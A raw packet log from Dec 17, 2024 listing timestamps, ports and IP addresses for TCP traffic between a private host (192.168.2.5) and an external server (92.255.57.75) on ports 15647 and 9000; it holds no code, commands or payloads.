Dec 17, 2024 08:40:32.321532011 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.333408117 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.334614038 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.341140985 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.341202021 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.368455887 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.369384050 CET	9000	50064	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.369457006 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.378607035 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.381982088 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.391625881 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.391690969 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.391712904 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.419110060 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.419193983 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.419390917 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.431843042 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.433800936 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.433830023 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.433897972 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.440478086 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.442084074 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.454327106 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.460467100 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.460566998 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.460639000 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.478805065 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.482604980 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.487966061 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.487982988 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.488049984 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.499022007 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.499453068 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.517322063 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.518850088 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.529905081 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.602453947 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.603514910 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.603595018 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.622917891 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.622988939 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.662621021 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.663017988 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.663091898 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.664443016 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.666310072 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.681581974 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.731324911 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.735882044 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.786068916 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.794550896 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.803419113 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.855123043 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.892529011 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.926168919 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.935046911 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.935175896 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.958041906 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.978461981 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.978545904 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.000062943 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.012451887 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.012614965 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.033233881 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.046082020 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.046160936 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.065479994 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.077896118 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.077971935 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.096663952 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.098445892 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.117819071 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.119864941 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.137392044 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.152909994 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.152987957 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.166013002 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.166089058 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.170357943 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.170502901 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.185374975 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.185444117 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.215255976 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.216479063 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.216566086 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.237664938 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.237786055 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.257251024 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.257334948 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.270148039 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.270231962 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.285856009 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.285944939 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.305434942 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.305521965 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.335242987 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.335367918 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.356286049 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.357933998 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.358053923 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.364192963 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.364207983 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.364346027 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.368268967 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.368354082 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.368372917 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.368479967 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.377468109 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.377670050 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.403237104 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.405771971 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.406848907 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.416070938 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.416204929 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.416311026 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.419902086 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.419967890 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.420042992 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.441006899 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.449527979 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.450104952 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.450140953 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.450208902 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.467205048 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.476083994 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.477874994 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.477896929 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.482461929 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.483483076 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.483521938 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.483602047 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.497594118 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.498912096 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.518111944 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.518325090 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.518359900 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.518421888 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.523196936 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.525885105 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.536046028 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.537528038 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.537544966 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.537807941 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.556055069 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.558986902 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.560906887 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.561028957 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.570960045 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.571021080 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.571070910 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.575629950 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.575695038 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.575757027 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.587155104 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.587450981 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.603178978 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.603233099 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.603295088 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.607842922 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.611588955 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.613977909 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.625737906 CET	9000	50064	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.625828028 CET	9000	50064	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.625876904 CET	50064	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.626152039 CET	50064	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.637881041 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.637963057 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.642004013 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.642066002 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.657625914 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.657922029 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.662008047 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.662094116 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.662166119 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.679919958 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.680704117 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.683871031 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.695456982 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.695964098 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.728177071 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.728315115 CET	50065	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.745827913 CET	9000	50064	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.749387026 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.749464989 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.757741928 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.757832050 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.761806011 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.762411118 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.777781963 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.777848959 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.781824112 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.781914949 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.799793959 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.799879074 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.803630114 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.803720951 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.815759897 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.815819025 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.815913916 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.815931082 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.815969944 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.815993071 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.838207006 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.845623970 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.845678091 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.845762968 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.848061085 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.848119974 CET	9000	50065	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.848268032 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.848299980 CET	50065	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.848486900 CET	50065	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.850532055 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.850605965 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.850652933 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.856200933 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.857883930 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.858943939 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.858958960 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.859005928 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.877728939 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.878983974 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.897682905 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.897810936 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.920054913 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.921309948 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.935724974 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.935834885 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.950048923 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.950154066 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.958081961 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.958228111 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.968310118 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.968365908 CET	9000	50065	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.968434095 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.977638006 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:33.977761984 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:33.999056101 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.008045912 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.008714914 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.009423971 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.009481907 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.009485960 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.009521961 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.021636963 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.021723032 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.021740913 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.021811008 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.023212910 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.023267031 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.028857946 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.028907061 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.029242992 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.032602072 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.032619953 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.032704115 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.036405087 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.036520004 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.036576986 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.042211056 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.042295933 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.042488098 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.046581984 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.046658993 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.046796083 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.050652981 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.050715923 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.050718069 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.061563015 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.061636925 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.063744068 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.063792944 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.063813925 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.063831091 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.078147888 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.078239918 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.097450018 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.097541094 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.115811110 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.116763115 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.117377996 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.117456913 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.117525101 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.118943930 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.121145964 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.121220112 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.121233940 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.127891064 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.129904032 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.141454935 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.141539097 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.150506973 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.150605917 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.156415939 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.156533003 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.169780016 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.169891119 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.181318998 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.182118893 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.188832998 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.188920975 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.188993931 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.216027021 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.216090918 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.216424942 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.236653090 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.238534927 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.238581896 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.238637924 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.242460012 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.243514061 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.261337996 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.263884068 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.276371002 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.278127909 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.280281067 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.280385017 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.284723043 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.284766912 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.284828901 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.289699078 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.290625095 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.301923037 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.301999092 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.311073065 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.313932896 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.340924025 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.342005968 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.358661890 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.359903097 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.362651110 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.362715006 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.373434067 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.375876904 CET	49998	15647	192.168.2.5	92.255.57.75
